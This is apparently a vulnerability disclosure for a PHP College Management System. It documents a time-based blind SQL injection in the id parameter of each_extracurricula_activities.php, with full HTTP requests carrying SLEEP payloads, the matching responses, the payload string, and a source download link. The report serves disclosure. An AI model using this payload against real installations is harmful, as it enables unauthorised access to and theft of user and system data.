

SQL injection vulnerability exists in id parameter of each\_extracurricula\_activities.php file of College Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 5s:

**Request**

```
1 GET /cmsa/each_extracurricula_activities.php?id=11%20AND%20(SELECT%201262%20FROM%20(SELECT(SLEEP(5)))RbBQ) HTTP/1.1
2 X-Requested-With: XMLHttpRequest
3 Referer: http://192.168.209.1/cmsa
4 Cookie: PHPSESSID=0hmf9amcmumd16gsjs2k06ehe
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.30.1
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Fri, 10 May 2024 14:24:32 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 5579
11
12 <!DOCTYPE html>
13 <html lang="en">
14 <head>
15 <meta charset="UTF-8">
16 <meta name="viewport" content="width=device-width, initial-scale=1.0">
17 <title>
18 Dashboard
19 </title>
20 <link rel="stylesheet" href="style.css">
21 <style>
22 .widget{
23 background-color:#f2f2f2;
24 padding:20px;
25 margin-left:100px;
26 margin-bottom:20px;
27 }
```

Sleep time is 8s:

**Request**

```
1 GET /cmsa/each_extracurricula_activities.php?id=11%20AND%20(SELECT%201262%20FROM%20(SELECT(SLEEP(8)))RbBQ) HTTP/1.1
2 X-Requested-With: XMLHttpRequest
3 Referer: http://192.168.209.1/cmsa
4 Cookie: PHPSESSID=0hmf9amcmumd16gsjs2k06ehe
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.30.1
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Fri, 10 May 2024 14:26:49 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 5579
11
12 <!DOCTYPE html>
13 <html lang="en">
14 <head>
15 <meta charset="UTF-8">
16 <meta name="viewport" content="width=device-width, initial-scale=1.0">
17 <title>
18 Dashboard
19 </title>
20 <link rel="stylesheet" href="style.css">
21 <style>
22 .widget{
23 background-color:#f2f2f2;
24 padding:20px;
25 margin-left:100px;
26 margin-bottom:20px;
27 }
```

Payload: id=11%20AND%20(SELECT%201262%20FROM%20(SELECT(SLEEP(8)))RbBQ)

Source Download:

<https://www.kashipara.com/project/php/12746/college-management-system-php-project-source-code>